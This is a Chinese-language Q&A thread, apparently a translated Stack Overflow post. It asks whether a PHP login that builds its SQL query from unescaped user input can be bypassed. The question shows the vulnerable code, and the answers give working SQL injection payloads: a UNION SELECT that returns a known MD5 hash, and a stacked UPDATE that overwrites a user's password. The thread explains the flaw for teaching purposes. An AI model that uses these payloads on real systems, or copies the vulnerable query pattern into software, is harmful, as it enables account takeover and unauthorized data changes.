sql注入更改返回值

时间:2013-01-10 14:36:50

标签: php mysql sql sql-injection

我最近想过这样的事情:

$sql = "SELECT password FROM users WHERE user = '" . $_POST["user"] . "'";
$result = mysql_query($sql);

if (myql_num_rows($result) != 1) {
//Error
}

$data = mysql_fetch_array($result);

if ($data["password"] == md5($_POST["password"])) {
//Welcome
} else {
//Error
}

即使没有使用参数化查询或至少转义,我也无法想到一个适当的sql注入,你可以通过它注入Welcome点。您可能需要修改返回的密码,其密码可以用作密码。

如果有可能,有什么想法吗?

2 个答案:

答案 0 :(得分:8)

对User使用以下值:

obviouslyinvalidusername' union select MD5('password123') as password --

然后,password123的密码应该进行身份验证。我不知道此时您将登录哪个用户帐户,因为该部分逻辑未显示。

答案 1 :(得分:0)

"'; UPDATE user SET password=MD5('fakepass') where username='username'"

这会将任意密码作为md5哈希插入数据库。